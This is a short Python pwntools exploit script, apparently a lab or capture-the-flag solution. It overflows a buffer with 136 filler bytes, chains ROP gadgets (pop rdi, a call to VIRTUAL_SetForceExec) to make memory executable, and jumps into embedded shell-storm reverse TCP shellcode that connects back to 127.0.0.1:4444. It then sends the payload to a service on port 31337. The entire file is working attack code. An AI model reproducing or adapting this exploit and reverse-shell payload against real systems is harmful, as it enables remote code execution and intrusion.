from pwn import *

# 907	Linux/x86-64	Dynamic null-free reverse TCP shell - 65 bytes
# http://shell-storm.org/shellcode/files/shellcode-907.php
#####################################################
#                                                   #
#   Dynamic null-free reverse TCP shell(65 bytes)   *
#           Written by Philippe Dugre               #
#                                                   #
#####################################################
shellcode = 	b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e"
shellcode += 	b"\x0f\x05\x97\xb0\x2a\x48\xb9\xfe\xff\xee"
shellcode += 	b"\xa3\x80\xff\xff\xfe\x48\xf7\xd9\x51\x54"
shellcode += 	b"\x5e\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21"
shellcode += 	b"\xff\xce\x0f\x05\x75\xf8\x99\xb0\x3b\x52"
shellcode += 	b"\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
shellcode += 	b"\x51\x54\x5f\x0f\x05"
# (connects to 127.0.0.1 4444 via tcp)


VIRTUAL_SetForceExec_ptr    = 0x7bcbbb90    # different gadget location
shellcode_ptr               = 0x23fbc8      # diffent stack position
pop_rdi_ret                 = 0x7bc31b7e    # set rdi to something != 0

# offset in exploitstr 136
exploitstr = "A"*136                        # some filler 'A' less

# ROP to pop rdi; ret
exploitstr += p64(pop_rdi_ret)
exploitstr += p64(0x4141414141414141)       # new value for rdi

# ROP-call to VIRTUAL_SetForceExec
exploitstr += p64(VIRTUAL_SetForceExec_ptr)

# return to shellcode
exploitstr += p64(shellcode_ptr)

# and the shellcode itself
exploitstr += shellcode 

c = connect("127.0.0.1",31337)
c.send(exploitstr)